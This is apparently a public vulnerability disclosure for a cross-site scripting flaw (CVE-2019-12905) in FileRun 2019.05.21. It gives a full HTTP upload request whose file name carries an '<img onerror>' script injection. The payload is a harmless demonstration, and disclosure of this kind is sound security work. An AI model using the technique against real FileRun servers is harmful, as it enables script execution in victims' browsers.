FileRun 2019.05.21 - Reflected Cross-Site Scripting

# Exploit Title: FileRun 2019.05.21 -  Reflected Cross-Site Scripting
# Date: 2019-07-01
# Exploit Author: Emre ÖVÜNÇ
# Vendor Homepage: https://www.filerun.com/
# Software Link: https://filerun.com/download
# Version: v2019.05.21
# Tested on: Windows/Linux
# CVE: CVE-2019-12905

# CVE-2019-12905
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12905
# https://github.com/EmreOvunc/FileRun-Vulnerabilities/issues/3

# PoC

To exploit vulnerability, someone could upload an allowed file named “><img
src=x onerror=prompt(document.domain)> to impact users who open the page.

POST /filerun/?module=fileman&section=do&page=up HTTP/1.1
Host: [TARGET]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0)
Gecko/20100101 Firefox/67.0
Accept: */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://172.16.191.129/filerun/
Content-Type: multipart/form-data;
boundary=---------------------------142096305821079611661465592403
Content-Length: 6034
DNT: 1
Connection: close
Cookie: FileRunSID=aqlneuv86ccj3pi4h476faopi5

-----------------------------142096305821079611661465592403
Content-Disposition: form-data; name="flowTotalSize"

5100
-----------------------------142096305821079611661465592403
Content-Disposition: form-data; name="flowIsFirstChunk"

1
-----------------------------142096305821079611661465592403
Content-Disposition: form-data; name="flowIsLastChunk"

1
-----------------------------142096305821079611661465592403
Content-Disposition: form-data; name="flowFilename"

�><img src=x onerror=prompt(document.domain)>.jpg
-----------------------------142096305821079611661465592403
Content-Disposition: form-data; name="path"

/ROOT/HOME
-----------------------------142096305821079611661465592403
Content-Disposition: form-data; name="file"; filename="�><img src=x
onerror=prompt(document.domain)>.jpg"
Content-Type: image/jpg

<%@ I said you should learn! %>


-----------------------------142096305821079611661465592403--